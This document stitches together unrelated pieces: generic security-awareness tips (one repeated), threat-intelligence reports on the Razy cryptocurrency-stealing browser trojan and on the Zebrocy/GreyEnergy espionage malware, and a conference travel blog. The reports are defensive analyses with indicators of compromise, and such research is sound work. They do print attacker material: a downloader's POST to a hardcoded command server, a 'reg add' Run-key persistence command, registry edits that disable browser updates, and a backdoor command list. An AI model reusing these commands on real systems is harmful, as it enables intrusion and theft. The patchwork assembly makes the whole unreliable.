One of the most effective steps you can take to protect your cloud account is to make sure you are using two-step verification. In addition, always be sure you know exactly whom you are sharing files with. It is very easy to accidently share your files with the entire Internet when you think you are only sharing them with specific individuals.

The number one step for protecting your mobile device is making sure it has a strong screenlock on it so only you can access it.

Ransomware is a special type of malware. Once it infected your computer, it encrypts all of your files and demands you pay a ransome if you want your files back. Be suspicious of any emails trying to trick you into opening infected attachments or click on malicious links, common sense is your best defense. In addition. backups are often the only way you can recover from ransomware.

Do you plan on giving away or selling one of your older mobile devices? Make sure you wipe or reset your device before disposing of it. If you don't, the next person who owns it will have access to all of your accounts and personal information.

Eventually, we all have an accident or get hacked. And when we do, backups are often the only way to recover. Backups are cheap and easy; make sure you are backing up all of your personal information (such as family photos) on a regular basis.

Eventually, we all get hacked. The bad guys are very persistent and we can all make a mistake. If you suspect you have been hacked never try to fix the situation, instead report it right away. If you try to fix the situation, such as paying an online ransom or deleting the infected files, not only could you stil be hacked but you are most likely causing far more harm than good.

CEO Fraud / BEC is a type of targeted attack. It commonly involves a cyber criminally pretending to be your boss, then tricking or fooling you into sending the criminal highly sensitive information or initiating a wire transfer. Be highly suspicious of any emails demanding immediate action and/or asking you to bypass any security procedures.

Last year, we discovered malware that installs a malicious browser extension on its victim’s computer or infects an already installed extension. To do so, it disables the integrity check for installed extensions and automatic updates for the targeted browser. Kaspersky Lab products detect the malicious program as Trojan.Win32.Razy.gen – an executable file that spreads via advertising blocks on websites and is distributed from free file-hosting services under the guise of legitimate software.

Razy serves several purposes, mostly related to the theft of cryptocurrency. Its main tool is the script main.js that is capable of:

• Searching for addresses of cryptocurrency wallets on websites and replacing them with the threat actor’s wallet addresses
• Spoofing images of QR codes pointing to wallets
• Modifying the web pages of cryptocurrency exchanges
• Spoofing Google and Yandex search results

Infection

The Trojan Razy ‘works’ with Google Chrome, Mozilla Firefox and Yandex Browser, though it has different infection scenarios for each browser type.

Mozilla Firefox

For Firefox, the Trojan installs an extension called ‘Firefox Protection’ with the ID {ab10d63e-3096-4492-ab0e-5edcf4baf988} (folder path: “%APPDATA%\Mozilla\Firefox\Profiles\.default\Extensions\{ab10d63e-3096-4492-ab0e-5edcf4baf988}”).

For the malicious extension to start working, Razy edits the following files:

• “%APPDATA%\Mozilla\Firefox\Profiles\.default\prefs.js”,
• “%APPDATA%\Mozilla\Firefox\Profiles\.default\extensions.json”,
• “%PROGRAMFILES%\Mozilla Firefox\omni.js”.

Yandex Browser

The Trojan edits the file ‘%APPDATA%\Yandex\YandexBrowser\Application\\browser.dll’ to disable extension integrity check. It renames the original file ‘browser.dll_’ and leaves it in the same folder.

To disable browser updates, it creates the registry key ‘HKEY_LOCAL_MACHINE\SOFTWARE\Policies\YandexBrowser\UpdateAllowed” = 0 (REG_DWORD).

Then the extension Yandex Protect is installed to folder ‘%APPDATA%\Yandex\YandexBrowser\User Data\Default\Extensions\acgimceffoceigocablmjdpebeodphgc\6.1.6_0’. The ID acgimceffoceigocablmjdpebeodphgc corresponds to a legitimate extension for Chrome called Cloudy Calculator, version 6.1.6_0. If this extension has already been installed on the user’s device in Yandex Browser, it is replaced with the malicious Yandex Protect.

Google Chrome

Razy edits the file ‘%PROGRAMFILES%\Google\Chrome\Application\\chrome.dll’ to disable the extension integrity check. It renames the original chrome.dll file chrome.dll_ and leaves it in the same folder.

It creates the following registry keys to disable browser updates:

• “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\AutoUpdateCheckPeriodMinutes” = 0 (REG_DWORD)
• “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\DisableAutoUpdateChecksCheckboxValue” = 1 (REG_DWORD)
• “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\InstallDefault” = 0 (REG_DWORD)
• “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\UpdateDefault” = 0 (REG_DWORD)

We have encountered cases where different Chrome extensions were infected. One extension in particular is worth mentioning: Chrome Media Router is a component of the service with the same name in browsers based on Chromium. It is present on all devices where the Chrome browser is installed, although it is not shown in the list of installed extensions. During the infection, Razy modified the contents of the folder where the Chrome Media Router extension was located: ‘%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm’.

Scripts used

Irrespective of the targeted browser type, Razy added the following scripts it brought along to the folder containing the malicious script: bgs.js, extab.js, firebase-app.js, firebase-messaging.js and firebase-messaging-sw.js. The file manifest.json was created in the same folder or was overwritten to ensure these scripts get called.

Left: list of files of the original Chrome Media Router extension.
Right: list of files of the modified Chrome Media Router extension.

The scripts firebase-app.js, firebase-messaging.js and firebase-messaging-sw.js are legitimate. They belong to the Firebase platform and are used to send statistics to the malicious actor’s Firebase account.

The scripts bgs.js and extab.js are malicious and are obfuscated with the help of the tool obfuscator.io. The former sends statistics to the Firebase account; the latter (extab.js) inserts a call to the script i.js with parameters tag=&did=&v_tag=&k_tag= into each page visited by the user.

In the above example, the script i.js is distributed from the web resource gigafilesnote[.]com (gigafilesnote[.]com/i.js?tag=&did=&v_tag=&k_tag=). In other cases, similar scripts were detected in the domains apiscr[.]com, happybizpromo[.]com and archivepoisk-zone[.]info.

The script i.js modifies the HTML page, inserts advertising banners and video clips, and adds adverts into Google search results.

YouTube page with banners added by the script i.js

The culmination of the infection is main.js – a call to the script is added to each page visited by the user.

Fragment of the script i.js code that inserts the script main.js to web pages.

The script main.js is distributed from the addresses:

• Nolkbacteria[.]info/js/main.js?_=
• 2searea0[.]info/js/main.js?_=
• touristsila1[.]info/js/main.js?_=
• solkoptions[.]host/js/main.js?_=

The script main.js is not obfuscated and its capabilities can be seen from the function names.

The screenshot above shows the function findAndReplaceWalletAddresses that searches for Bitcoin and Ethereum wallets and replaces them with the addresses of the threat actor’s wallets. Notably, this function works on almost all pages except those located on Google and Yandex domains, as well as on popular domains like instagram.com and ok.ru.

Images of QR codes that point to wallets also get substituted. The substitution occurs when the user visits the web resources gdax.com, pro.coinbase.com, exmo.*, binance.* or when an element with src=’/res/exchangebox/qrcode/’ is detected on the webpage.

As well as the functionality described above, main.js modifies the webpages of the cryptocurrency exchanges EXMO and YoBit. The following script calls are added to the pages’ codes:

• /js/exmo-futures.js?_= – when exmo.*/ru/* pages are visited
• /js/yobit-futures.js?_= – when yobit.*/ru/* pages are visited

where is one of the domains nolkbacteria[.]info, 2searea0[.]info, touristsila1[.]info, or archivepoisk-zone[.]info.

These scripts display fake messages to the user about “new features” in the corresponding exchanges and offers to sell cryptocurrency at above market rates. In other words, users are persuaded to transfer their money to the cybercriminal’s wallet under the pretext of a good deal.

Example of a scam message on the EXMO website

Main.js also spoofs Google and Yandex search results. Fake search results are added to pages if the search request search request is connected with cryptocurrencies and cryptocurrency exchanges, or just music downloading or torrents:

• /(?:^|\s)(gram|телеграм|токен|ton|ico|telegram|btc|биткойн|bitcoin|coinbase|крипта|криптовалюта|,bnrjqy|биржа|бираж)(?:\s|$)/g;
• /(скачать.*музык|музык.*скачать)/g;
• /тор?рент/g;

This is how an infected user is enticed to visit infected websites or legitimate cryptocurrency-themed sites where they will see the message described above.

Google search results that were modified by the infected extension

When the user visits Wikipedia, main.js adds a banner containing a request for donations to support the online encyclopedia. The cybercriminals’ wallet addresses are used in place of bank details. The original Wikipedia banner asking for donations (if present) is deleted.

Fake banner on Wikipedia asking for donations

When the user visits the webpage telegram.org, they will see an offer to buy Telegram tokens at an incredibly low price.

The infected extension loads content on the telegram.org site from the phishing web resource ton-ico[.]network

Fake banner shown at telegram.org. The link leads to the phishing website ton-ico[.]network

When users visit the pages of Russian social network Vkontakte (VK), the Trojan adds an advertising banner to it. If a user clicks on the banner, they are redirected to phishing resources (located on the domain ooo-ooo[.]info), where they are prompted to pay a small sum of money now to make a load of money later on.

Fraudulent banner on the vk.com website

Indicators of compromise

Kaspersky Lab’s products detect scripts associated with Razy as HEUR:Trojan.Script.Generic.

Below are all the wallet addresses detected in the analyzed scripts:

• Bitcoin: ‘1BcJZis6Hu2a7mkcrKxRYxXmz6fMpsAN3L’, ‘1CZVki6tqgu2t4ACk84voVpnGpQZMAVzWq’, ‘3KgyGrCiMRpXTihZWY1yZiXnL46KUBzMEY’, ‘1DgjRqs9SwhyuKe8KSMkE1Jjrs59VZhNyj’, ’35muZpFLAQcxjDFDsMrSVPc8WbTxw3TTMC’, ’34pzTteax2EGvrjw3wNMxaPi6misyaWLeJ’.
• Ethereum: ’33a7305aE6B77f3810364e89821E9B22e6a22d43′, ‘2571B96E2d75b7EC617Fdd83b9e85370E833b3b1′, ’78f7cb5D4750557656f5220A86Bc4FD2C85Ed9a3’.

At the time of writing, total incoming transactions on all these wallets amounted to approximately 0.14 BTC plus 25 ETH.

MD5

Trojan.Win32.Razy.gen
707CA7A72056E397CA9627948125567A
2C274560900BA355EE9B5D35ABC30EF6
BAC320AC63BD289D601441792108A90C
90A83F3B63007D664E6231AA3BC6BD72
66DA07F84661FCB5E659E746B2D7FCCD
Main.js
2C95C42C455C3F6F3BD4DC0853D4CC00
2C22FED85DDA6907EE8A39DD12A230CF
i.js
387CADA4171E705674B9D9B5BF0A859C
67D6CB79955488B709D277DD0B76E6D3
Extab.js
60CB973675C57BDD6B5C5D46EF372475
Bgs.js
F9EF0D18B04DC9E2F9BA07495AE1189C

Malicious domains

gigafilesnote[.]com
apiscr[.]com,
happybizpromo[.]com,
archivepoisk-zone[.]info,
archivepoisk[.]info,
nolkbacteria[.]info,
2searea0[.]info,
touristsila1[.]info,
touristsworl[.]xyz,
solkoptions[.]host.
solkoptions[.]site
mirnorea11[.]xyz,
miroreal[.]xyz,
anhubnew[.]info,
kidpassave[.]xyz

Phishing domains

ton-ico[.]network,
ooo-ooo[.]info.

In October 2018, ESET published a report describing a set of activity they called GreyEnergy, which is believed to be a successor to BlackEnergy group. BlackEnergy (a.k.a. Sandworm) is best known, among other things, for having been involved in attacks against Ukrainian energy facilities in 2015, which led to power outages. Like its predecessor, GreyEnergy malware has been detected attacking industrial and ICS targets, mainly in Ukraine.

Kaspersky Lab ICS CERT has identified an overlap between GreyEnergy and a Sofacy subset called “Zebrocy”. The Zebrocy activity was named after malware that Sofacy group began to use since mid-November 2015 for the post-exploitation stage of attacks on its victims. Zebrocy’s targets are widely spread across the Middle East, Europe and Asia and the targets’ profiles are mostly government-related.

Both sets of activity used the same servers at the same time and targeted the same organization.

Details Servers

In our private APT Intel report from July 2018 “Zebrocy implements new VBA anti-sandboxing tricks”, details were provided about different Zebrocy C2 servers, including 193.23.181[.]151.

In the course of our research, the following Zebrocy samples were found to use the same server to download additional components (MD5):

7f20f7fbce9deee893dbce1a1b62827d
170d2721b91482e5cabf3d2fec091151
eae0b8997c82ebd93e999d4ce14dedf5
a5cbf5a131e84cd2c0a11fca5ddaa50a
c9e1b0628ac62e5cb01bf1fa30ac8317

The URL used to download additional data looks as follows:

hxxp://193.23.181[.]151/help-desk/remote-assistant-service/PostId.php?q={hex}

This same C2 server was also used in a spearphishing email attachment sent by GreyEnergy (aka FELIXROOT), as mentioned in a FireEye report. Details on this attachment are as follows:

• The file (11227eca89cc053fb189fac3ebf27497) with the name “Seminar.rtf” exploited CVE-2017-0199
• “Seminar.rtf” downloaded a second stage document from: hxxp://193.23.181[.]151/Seminar.rtf (4de5adb865b5198b4f2593ad436fceff, exploiting CVE-2017-11882)
• The original document (Seminar.rtf) was hosted on the same server and downloaded by victims from: hxxp://193.23.181[.]151/ministerstvo-energetiki/seminars/2019/06/Seminar.rtf

Another server we detected that was used both by Zebrocy and by GreyEnergy is 185.217.0[.]124. Similarly, we detected a spearphishing GreyEnergy document (a541295eca38eaa4fde122468d633083, exploiting CVE-2017-11882), also named “Seminar.rtf”.

“Seminar.rtf”, a GreyEnergy decoy document

This document downloads a GreyEnergy sample (78734cd268e5c9ab4184e1bbe21a6eb9) from the following SMB link:

\\185.217.0[.]124\Doc\Seminar\Seminar_2018_1.AO-A

The following Zebrocy samples use this server as C2:

7f20f7fbce9deee893dbce1a1b62827d
170d2721b91482e5cabf3d2fec091151
3803af6700ff4f712cd698cee262d4ac
e3100228f90692a19f88d9acb620960d

They retrieve additional data from the following URL:

hxxp://185.217.0[.]124/help-desk/remote-assistant-service/PostId.php?q={hex}

It is worth noting that at least two samples from the above list use both 193.23.181[.]151 and 185.217.0[.]124 as C2s.

Hosts associated with GreyEnergy and Zebrocy

Attacked company

Additionally, both GreyEnergy and Zebrocy spearphishing documents targeted a number of industrial companies in Kazakhstan. One of them was attacked in June 2018.

GreyEnergy and Zebrocy overlap

Attack timeframe

A spearphishing document entitled ‘Seminar.rtf’, which retrieved a GreyEnergy sample, was sent to the company approximately on June 21, 2018, followed by a Zebrocy spearphishing document sent approximately on June 28:

‘(28.06.18) Izmeneniya v prikaz PK.doc’ Zebrocy decoy document translation:
‘Changes to order, Republic of Kazakhstan’

The two C2 servers discussed above were actively used by Zebrocy and GreyEnergy almost at the same time:

• 193.23.181[.]151 was used by GreyEnergy and Zebrocy in June 2018
• 185.217.0[.]124 was used by GreyEnergy between May and June 2018 and by Zebrocy in June 2018

Conclusions

The GreyEnergy/BlackEnergy actor is an advanced group that possesses extensive knowledge on penetrating into their victim´s networks and exploiting any vulnerabilities it finds. This actor has demonstrated its ability to update its tools and infrastructure in order to avoid detection, tracking, and attribution.

Though no direct evidence exists on the origins of GreyEnergy, the links between a Sofacy subset known as Zebrocy and GreyEnergy suggest that these groups are related, as has been suggested before by some public analysis. In this paper, we detailed how both groups shared the same C2 server infrastructure during a certain period of time and how they both targeted the same organization almost at the same time, which seems to confirm the relationship’s existence.

For more information about APT reports please contact: intelreports@kaspersky.com

For more information about ICS threats please contact: ics-cert@kaspersky.com

You may not realize it, but you are a target. Your computer, your work and personal accounts and your information are all highly valuable to cyber criminals. Be mindful that bad guys are out to get you.

You may not realize it, but you are a target. Your computer, your work and personal accounts and your information are all highly valuable to cyber criminals. Be mindful that bad guys are out to get you.

The most effective steps you can take to secure your wireless network at home is to change the default admin password, enable WPA2 encryption and use a strong password for your wireless network.

Make sure you have anti-virus software installed on your computer and that it is automatically updating. However, keep in mind that no anti-virus can catch all malware; your computer can still be infected. That is why it's so important you use common sense and be wary of any messages that seem odd or suspicious.

Privacy settings on social networks have limited value. They are confusing to configure and change often. Ultimately, if you do not want your parents or boss reading it, do not post it.

Last year at SAS2018 in Cancun, Mexico, “Masha and these Bears” included discussion of a subset of Sofacy activity and malware that we call “Zebrocy”, and predictions for the decline of SPLM/XAgent Sofacy activity coinciding with the acceleration of Zebrocy activity and innovation. Zebrocy was initially introduced as a Sofacy backdoor package in 2015, but the Zebrocy cluster has carved a new approach to malware development and delivery to the world of Sofacy. In line with this approach, we will present more on this Zebrocy innovation and activity playing out at SAS 2019 in Singapore.

Our colleagues at Palo Alto recently posted an analysis of Zebrocy malware. The analysis is good and marked their first detection of a Zebrocy Go variant as October 11, 2018. Because there is much to this cluster, clarifying and adding to the discussion is always productive.

Our original “Zebrocy Innovates – Layered Spearphishing Attachments and Go Downloaders” June 2018 writeup documents the very same downloader, putting the initial deployment of Zebrocy Go downloader activity at May 10, 2018. And while the targeting in the May event was most likely different from the October event, we documented this same Go downloader and same C2 was used to target a Kyrgyzstan organization. Also interesting is that the exact same system was a previous Zebrocy target earlier in 2018. So, knowing that this same activity is being reported on as “new” six months later tells us a bit about the willingness of this group to re-use rare components and infrastructure across different targets.

While they are innovating with additional languages, as we predicted in early 2018, their infrastructure and individual components may have more longevity than predicted. Additionally, at the beginning of 2018, we predicted the volume of Zebrocy activity and innovation will continue to increase, while the more traditional SPLM/XAgent activity will continue to decline. Reporting on SPLM/XAgent certainly has followed this course in 2018 as SPLM/XAgent detections wind down globally, as has Sofacy’s use of this malware from our perspective.

Much of the content below is reprinted from our June document.

The Sofacy subset we identify as “Zebrocy” continues to target Central Asian government related organizations, both in-country and remote locations, along with a new middle eastern diplomatic target. And, as predicted, they continue to build out their malware set with a variety of scripts and managed code. In this case, we see new spearphishing components – an LNK file maintaining powershell scripts and a Go-implemented system information collector/downloader. This is the first time we have observed a well-known APT deploy malware with this compiled, open source language “Go”. There is much continued recent Zebrocy activity using their previously known malware set as well.

Starting in May 2018, Zebrocy spearphished Central Asian government related targets directly with this new Go downloader. For example, the attachment name included one “30-144.arj” compressed archive, an older archiver type handled by 7zip, Rar/WinRAR, and others. Users found “30-144.exe” inside the archive with an altered file icon made to look like the file was a Word document (regardless of the .exe file extension). And in a similar fashion in early June, Zebrocy spearphished over a half-dozen accounts targeting several Central Asian countries’ diplomatic organizations with a similar scheme “2018-05-Invitation-Letter(1).rar//2018-05-Invitation-Letter(pril).docx”, sending out a more common Zebrocy Delphi downloader.

In other cases, delivery of the new Go downloader was not straightforward. The new Go downloader also was delivered with a new spearphishing object that rolls up multiple layers of LNK file, powershell scripts, base64 encoded content, .docx files and the Go downloader files. The downloader is an unusually large executable at over 1.5mb, written to disk and launched by a powershell script. So the attachment that arrived over email was large.
The powershell script reads the file’s contents from a very large LNK file that was included as an email attachment, and then writes it to disk along with a Word document of the same name. So, launching the downloader is followed with the opening of an identically named decoy word document with “WINWORD.EXE” /n “***\30-276(pril).docx” /o”. The downloader collects a large amount of system information and POSTs it to a known Zebrocy C2, then pulls down known Zebrocy Delphi payload code, launches it, and deletes itself.

We observed previous, somewhat similar spearphishing scenarios with an archive containing .LNK, .docx, and base64 encoded executable code, delivering offensive Finfisher objects in separate intrusion activity clusters. This activity was not Sofacy, but the spearphishing techniques were somewhat similar – the layered powershell script attachment technique is not the same, but not altogether new.

And, it is important to reiterate that these Central Asian government and diplomatic targets are often geolocated remotely. In the list of target geolocations, notice countries like South Korea, the Netherlands, etc. In addition to Zebrocy Go downloader data, this report provides data on various other observed Zebrocy malware and targets over the past three months.

Spreading

Mostly all observed Zebrocy activity involves spearphishing. Spearphish attachments arrive with .rar or .arj extensions. Filename themes include official government correspondence invitations, embassy notes, and other relevant items of interest to diplomatic and government staff. Enclosed objects may be LNK, docx, or exe files.

A decoy PDF that directly targeted a Central Asian nation is included in one of the .arj attachments alongside the Go downloader. The content is titled “Possible joint projects in cooperation with the International Academy of Sciences” and lists multiple potential projects requiring international cooperation with Tajikistan and other countries. This document appears to be a legitimate one that was stolen, created mid-May 2018. While we cannot reprint potentially leaked information publicly, clearly, the document was intended for a Russian-language reader.

Powershell launcher from within LNK

The LNK containing two layers of powershell script and base64 encoded content is an unusual implementation – contents from a couple are listed at the technical appendix. When opened, the script opens the shortcut file it is delivered within (“30-276(pril).docx.lnk”), pulls out the base64 encoded contents (in one case, from byte 3507 to byte 6708744), base64 decodes the content and another layer of the same powershell decoding. This script writes two files to disk as “30-276(pril).exe” and “30-276(pril).docx” and opens both files, leading to the launch of the Go language system information collector/downloader and a decoy Word document.

Go System Information Collector/Downloader

Md5              333d2b9e99b36fb42f9e79a2833fad9c
Sha256         fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e
Size              1.79mb (upx packed – 3.5mb upx unpacked)
CompiledOn Stomped (Wed Dec 31 17:00:00 1969)
Type             PE 32-bit Go executable
Name           30-276(pril).exe

This new Go component not only downloads and executes another Zebrocy component, but it enumerates and collects a fair amount of system data for upload to its C2, prior to downloading and executing any further modules. It simply collects data using the systeminfo utility, and in turn makes a variety of WMI calls.

After collecting system information, the backdoor calls out to POST to its hardcoded C2, in this case a hardcoded IP/Url. Note that the backdoor simply uses the default Go user-agent:
“POST /technet-support/library/online-service-description.php?id_name=345XXXD5
HTTP/1.1
Host: 89.37.226.148
User-Agent: Go-http-client/1.1”

With this POST, the module uploads all of the system information it just gathered with the exhaustive systeminfo utility over http: hostname, date/time, all hardware, hotfix, service and software information.

The module then retrieves the gzip’d, better known Zebrocy dropper over port 80 as part of an encoded jpg file, writes it to disk, and executes from a command line:
“cmd /C c:\users\XXX\appdata\local\Identities\{83AXXXXX-986F-1673-091A-02XXXXXXXXXX}\w32srv.exe”
and adds a run key persistence entry with the system utility reg.exe:
cmd /C “reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Driveupd /d
c:\users\XXX\appdata\local\Identities\{83AXXXXX-986F-1673-091A-02XXXXXXXXXX}\w32srv.exe /f”

Zebrocy AutoIT Dropper

Md5              3c58ed6913593671666283cb7315dec3
Sha256         96c3700ad639faa85982047e05fbd71c3dfd502b09f9860685498124e7dbaa46
Size              478.5kb (upx-packed)
Compiled     Fri Apr 27 06:40:32 2018
Type             PE32 AutoIT executable
Path, Name  appdata\Identities\{83AF1378-986F-1673-091A-02681FA62C3B}\w32srv.exe

This AutoIT dropper writes out a Delphi payload, consistent with previous behavior going back to November 2015, initially described in our January 2016 report “Zebrocy – Sofacy APT Deploys New Delphi Payload”.

Zebrocy Delphi Payload

Md5               2f83acae57f040ac486eca5890649381
Sha256          f9e96b2a453ff8922b1e858ca2d74156cb7ba5e04b3e936b77254619e6afa4e8
Size               786kb
Compiled       Fri Jun 19 16:22:17 1992 (stomped/altered)
Type              PE32 exe [v4.7.7] Path, Name   c:\ProgramData\Protection\Active\armpro.exe

Interestingly the final payload reverts back to an earlier version [v4.7.7]. A “TURBO” command is missing from this Zebrocy Delphi backdoor command list .
SYS_INFO
SCAN_ALL
SCAN_LIST
DOWNLOAD_DAY
DOWNLOAD_LIST
CREATE_FOLDER
UPLOAD_FILE
FILE_EXECUTE
DELETE_FILES
REG_WRITE_VALUE
REG_READ_VALUE
REG_DELETE_VALUE
REG_GET_KEYS_VALUES
REG_DELETE_KEY
KILL_PROCESS
CONFIG
GET_NETWORK
CMD_EXECUTE
DOWNLOAD_DATE
DELETE_FOLDER
UPLOAD_AND_EXECUTE_FILE
SCREENSHOTS
FILE_EXECUTE
SET_HIDDEN_ATTR
START
STOP
KILL_MYSELF

Infrastructure

Zebrocy backdoors are configured to directly communicate with IP assigned web server hosts over port 80, and apparently the group favors Debian Linux for this part of infrastructure: Apache 2.4.10 running on Debian Linux. A somewhat sloppy approach continues, and the group set up and configured one of the sites with digital certificates using a typical Sofacy-sounding domain that they have not yet registered: “weekpost.org”. Digital certificate details are provided in the appendix.

These “fast setup” VPS servers run in “qhoster[.]com” can be paid for with Webmoney, Bitcoin, Litecoin, Dash, Alfa Click, Qiwi, transfers from Sberbank Rossii, Svyaznoy, Promsvyazbank, and more. Although, it appears that Bitcoin and Dash may be of the most interest to help ensure anonymous transactions. Dataclub provides similar payment methods:

One of the VPS IP addresses (80.255.12[.]252) is hosted in the “afterburst[.]com”/Oxygem range. This service is the odd one out and is unusual because it only supports VISA/major credit cards and Paypal at checkout. If other payment options are provided, they are not a part of the public interface.

Victims and Targeting

Zebrocy Go downloader 2018 targets continue to be Central Asian government foreign policy and administrative related. Some of these organizations are geolocated in-country, or locally, and some are located remotely. In several cases, these same systems have seen multiple artefacts from Zebrocy over the course of 2017 and early 2018:
• Kazakhstan
• Kyrgyzstan
• Azerbaijan
• Tajikistan

Additional recent Zebrocy target geo-locations (targeting various Central Asian/ex-USSR local and remote government locations):
• Qatar
• Ukraine
• Czech Republic
• Mongolia
• Jordan
• Germany
• Belgium
• Iran
• Turkey
• Armenia
• Afghanistan
• South Korea
• Turkmenistan
• Kazakhstan
• Netherlands
• Kuwait
• United Arab Emirates
• Spain
• Poland
• Qatar
• Oman
• Switzerland
• Mongolia
• Kyrgyzstan
• United Kingdom

Attribution

Zebrocy activity is a known subset of Sofacy activity. We predicted that they would continue to innovate within their malware development after observing past behavior, developing with Delphi, AutoIT, .Net C#, Powershell, and now “Go” languages. Their continued targeting, phishing techniques, infrastructure setup, technique and malware innovation, and previously known backdoors help provide strong confidence that this activity continues to be Zebrocy.

Conclusions

Zebrocy continues to maintain a higher level of volume attacking local and remote ex-USSR republic Central Asian targets than other clusters of targeted Sofacy activity. Also interesting with this Sofacy sub-group is the innovation that we continue to see within their malware development. Much of the spearphishing remains thematically the same, but the remote locations of these Central Asian targets are becoming more spread out – South Korea, Netherlands, etc. While their focus has been on Windows users, it seems that we can expect the group to continue making more innovations within their malware set. Perhaps all their components will soon support all OS platforms that their targets may be using, including Linux and MacOS. Zebrocy spearphishing continues to be characteristically higher volume for a targeted attacker, and most likely that trend will continue.
And, as their spearphishing techniques progress to rival Finfisher techniques without requiring zero-day exploitation, perhaps Zebrocy will expand their duplication of more sources of open source spearphishing techniques.

IoC

Go downloader
333d2b9e99b36fb42f9e79a2833fad9c

IPs
80.255.12.252
89.37.226.148
46.183.218.34
185.77.131.110
92.114.92.128

URLs
/technet-support/library/online-service-description.php?id_name=XXXXX
/software-apptication/help-support-apl/getidpolapl.php

File – paths and names
30-276(pril).exe
30-144-(copy).exe
Embassy Note No.259.docx.lnk
2018-05-Invitation-Letter(1).rar//2018-05-Invitation-Letter(pril).docx

When asked about his best race, Ayrton Senna replied that it was when he raced karting cars. For him it was the best because it was only for the sake of sports and free from commercial sponsoring and commercial interests. I have this same feeling about computer security conferences, because they attract people who really seek knowledge, both to receive and to share it.

In November I had the privilege of participating in a conference that can rightfully be labelled the world’s southernmost. It is called “Patagonia Hacking” and it is organized in the Chilean city of Punta Arenas: https://www.patagoniasec.cl

This event develops in two days – the first is dedicated to workshops, and the second is for presentations to the attendants. On my part, I had the opportunity to present two topics, one each day. On the day dedicated to conferences, my topic was the “Black Box” attacks against financial institutions in Latin America – a phenomenon that has become a fearful reality for the banks in the region.

Although the event took place in a remote city, attendants included enthusiasts from all over the world. There also were some Latin American speakers.

Despite the low temperatures and strong winds, the event’s welcome was very warm. It was very pleasant meeting the region’s new experts and sharing with them during those busy days.

The third edition of the event took place this year. If you plan to participate next year, apart from the conference, you should try the traditional lamb meat, Calafate beer and Calafate’s pisco sour, as well as making time to visit the Strait of Magellan Park which includes Fort Bulnes.

P.S. A curious fact – it seems that the southernmost city with Uber also happens to be Punta Arenas.

If you have children visiting or staying with family members (such as grandparents), make sure the family members know your rules concerning technology that your kids must follow. Just because your kids leave the house does not mean the rules about what they can do online change.

Only install mobile apps from trusted places, and always double-check the privacy settings to ensure you are not giving away too much information.

Never share your passwords with others, including your supervisor or coworkers. Your password is a secret; it only works if only you know it. If anyone else knows your password, you may be responsible for their actions.

Make sure each of your accounts has a separate, unique password. Can't remember all of your passwords/passphrases? Consider using a password manager to securely store all of them for you.